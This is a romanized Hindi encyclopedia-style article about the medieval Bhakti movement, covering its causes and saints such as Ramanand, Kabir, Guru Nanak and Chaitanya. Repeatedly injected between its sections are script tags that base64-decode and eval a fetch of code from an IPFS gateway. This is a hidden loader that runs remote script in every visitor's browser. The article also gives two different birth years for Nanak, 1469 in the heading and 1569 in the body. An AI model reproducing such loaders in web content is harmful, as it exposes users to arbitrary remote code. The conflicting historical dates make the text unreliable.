भक्ति आन्दोलन

madhy kal mean bhakti andolan ki shuruat sarvapratham dakshin ke alavar bhaktoan dvara ki gee. dakshin bharat se uttar bharat mean barahavian shatabdi ke prarambh mean ramanand dvara yah andolan laya gaya. bhakti andolan ka mahatvapoorn uddeshy tha- hindoo dharm evan samaj mean sudhar tatha islam evan hindoo dharm mean samanvay sthapit karana. apane uddeshyoan mean yah andolan kafi saphal raha. shankarachary ke ‘advaitadarshan’ ke virodh mean dakshin mean vaishnav santoan dvara 4 matoan ki sthapana ki gee, jo nimnalikhit hai-

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

1. 'vishishtadvaitavad' ki sthapana 12vian sadi mean ramanujachary ne ki.
2. 'dvaitavad' ki sthapana 13vian shatabdi mean madhvachary ne ki.
3. 'shuddhadvaitavad' ki sthapana 13vian sadi mean vishnusvami ne ki.
4. 'dvaitadvaivad' ki sthapana 13vian sadi mean nimbarkachary ne ki.

in santoan ne bhakti marg ko eeshvar prapti ka sadhan manate hue 'jnan', 'bhakti' aur 'samanvay' ko sthapit karane ka prayas kiya. in sanatoan ki pravriti sagun bhakti ki thi. inhoanne ram, krishna, shiv, hari adi ke roop mean adhyatmik vyakhyaean prastut kian. 14vian evan 15vian shatabdi mean bhakti andolan ka netritv kabiradas ke hathoan mean tha. is samay ramanand, namadev, kabir, nanak, dadoo, ravidas (raidas), tulasidas evan chaitany mahaprabhu jaise logoan ke hath mean is andolan ki bagador thi.

bhakti andolan ke karan

adi shankarachary dvara sthapit pith

pith	sthan
jyotishpith	badrinath (uttarakhand)
govardhanapith	puri (u disa)
sharadapith	dvarika (gujarat)
shrriangeripith	maisoor (karnatak)

madhy kal mean bhakti andolan aur soofi andolan apane mahatvapoorn p dav par pahuanch ge the. is kal mean bhakti andolan ke sootrapat evan prachar-prasar ke mahatvapoorn karan nimnalikhit the-

1. muslim shasakoan ke barbar shasan se kuanthit evan unake atyaroan se trast hindoo janata ne eeshvar ki sharan mean apane ko adhik surakshit mahasoos kar bhakti marg ka sahara liya.
2. hindoo evan muslim janata ke apas mean samajik evan saanskritik sampark se donoan ke madhy sadabhav, sahanubhooti evan sahayog ki bhavana ka vikas hua. is karan se bhi bhakti andolan ke vikas mean sahayog mila.
3. soofi-santoan ki udar evan sahishnuta ki bhavana tatha ekeshvaravad mean unaki prabal nishtha ne hinduoan ko prabhavit kiya; jis karan se hindoo, islam ke siddhantoan ke nikat sampark mean aye. in sabaka prabhav bhakti andolan par bahut gahara p da.
4. hinduoan ne soofiyoan ki tarah ekeshvaravad mean vishvas karate hue ooanch-nich evan jat-pat ka virodh kiya.
5. shankarachary ka jnan marg v advaitavad ab sadharan janata ke lie bodhagamy nahian rah gaya tha.
6. manslim shasakoan dvar aye din moortiyoan ko nasht evan apavitr kar dene ke karan, bina moorti evan mandir ke eeshvar ki aradhana ke prati logoan ka jhukav badha, jisake lie unhean bhakti marg ka sahara lena p da.

praneta

bhakti andolan ko prerana pradan karane vale nimn mahapurush the-

ramanand

mukhy lekh : ramanand

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bhakti andolan ko dakshin se uttar mean lane ka shrey ramanand ko hi diya jata hai. ve ramanuj ki pi di ke pratham sant the. unhoanne sabhi jatiyoan evan dharm ke logoan ko apana shishy banakar ek tarah se jativad par k da prahar kiya. unake shishyoan mean kabir (julaha), sena (naee), raidas (chamar) adi the. unhoanne ekeshvaravad par bal dete hue ram ki upasana ki bat kahi. sambhavatah hindi mean upadesh dene vale pratham vaishnav sant ramanand hi the.

kabir

mukhy lekh : kabir

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

kabir ka janm 1440 ee. mean varanasi mean hua tha. ye sultan sikandar shah lodi ke samakalin the. soorat gopal inaka mukhy shishy tha. madhyakalin santoan mean kabiradas ka sahityik evan aitihasik yogadan niahsandeh avismaraniy hai. ek mahan samaj sudharak ke roop mean unhoanne samaj mean vyapt har tarah ki buraiyoan ke khilaf sangharsh kiya, jinamean unhe kafi had tak saphalata bhi mili. kabir ne ram, rahim, hajarat, allah, adi ko ek hi eeshvar ke anek roop mana. unhoanne jati pratha, dharmik karmakand, bahari adambar, moortipooja, jap-tap, avataravad adi ka ghor virodh karate hue ekeshvaravad mean astha evan nirakar brahm ki upasana ko mahatv diya. kabir ne eeshvar prapti hetu shuddh prem, pavitrata evan nirmal haday ki avashyakata bataee. kabir ne kaha tha ki “he madhav! apani kanthi mala le lo, kyoanki bhookhe pet maian tumhara bhajan nahian kar sakata.” nirgun bhakti dhara se ju de kabir aise pratham bhakt the, jinhoanne sant hone ke bad bhi poornatah sahishnuta ki bhavana ko banaye rakhate hue dharm ko akarmanyata ki bhoomi se hatakar karmayogi ki bhoomi par lakar kh da kiya. kabir ne apana sandesh apane dohoan ke madhyam se janasadharan ke sammukh prastut kiya. inake anuyayi kabirapanthi kahalaye. isamean hindoo tatha muslim donoan sampradayoan ke log shamil the. kabir ki pramukh rachanaoan mean sakhi, sabad, ramaini, doha, holi, rekhatal adi pramukh hai. kabir ki mutyu 1510 ee. mean magahar mean huee. ye ramanand ke shishy tatha sikandar lodi ke samakalin the.

gurunanak (1469-1539 ee.)

mukhy lekh : gurunanak

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

gurunanak ka janm 1569 mean talavandi namak sthan par hua tha. inake pita ka nam kaloo tatha mata ka nam tripta tha. kabir ke bad tatkalin samaj ko prabhavit karane valoan mean nanak ka mahatvapoorn sthan hai. unhoanne bina kisi varg par aghat kiye hi usake andar chhipe kusanskaroan ko nasht karane ka prayas kiya. unhoanne dharm ke vahm adambar, jat-pat, chhuachhoot, ooanch-nich, upavas, moortipooja, andh-vishvas, bahu-devavad adi ki alochana ki. unhoanne hindoo-musjim ekata, sachchi eeshvar bhakti aur sachcharitrata par vishesh bal diya. nirankar eeshvar ko inhoanne akal purush ki sanjna di. unaka drishtikon vishal manavatavadi tha. unake upadeshoan ko sikkh panth ke pavitr granth ‘gurugranth sahab’ mean sankalit kiya gaya hai.

chaitany (1486 se 1533 ee.)

mukhy lekh : chaitany mahaprabhu

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bangal mean bhakti aandolan ke pravartak chaitany ne sagun bhakti marg ka anusaran karate hue krishna bhakti par vishesh bal diya. any santoan ki tarah chaitany ne bhi jat-pat evan anashvak dharmik kuritiyoan ka virodh kiya. chaitany ne moortipooja, avataravad, kirtan, upasana adi ko mahatv diya. chaitany ke anusar prem tatha bhakti, nrity evan sangit, lila evan kirtan se sagun brahm ka sakshatkar kiya ja sakata hai. chaitany mahaprabhu ne ‘gosaee sangh’ ki sthapana ki aur sath hi ‘sankirtan pratha ’ ko janm diya. unake darshanik siddhant ko ‘achianty bhedabhedavad’ ke nam se jana jata hai. chaitany ke anuyayi unhe krishna ka vishnu ya krishna ka avatar manate haian tatha gauraangahaprabhu ke nam se poojate haian. chaitany ka prabhjnav bangal ke atirikt bihar evan u disa mean bhi tha. sagunopasana ko chaitany ke atirikt ballabh, tulasi, soor evan mira ne bhi apanaya.

raidas - raidas chamar jati ke the. ve ramanand ke barah shishyoan mean se ek the. ye banaras mean mochi ka kam karate the. nirgun brahm ke upasak raidas ne hindoo aur musalamanoan mean koee bhed nahian mana. ve eeshvar ki ekata mean vishvas karate the kintu unhone avataravad ka khandan kiya. unhone ‘rayadasi sampraday’ ki sthapana ki.

dadoo dayal - any santoan ki tarah andh vishvas moorti pooja, jat-pat, tirthayatra adi ke virodhi dadoo ne acharan evan charitr ki shuddhata par bal diya. dadoo dvara sthapit ‘dadoopanthi’ ek bhedabhav mukt panth hai. unake samay mean ‘nipaksh’ namak andolan ki shuruat ki gee.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>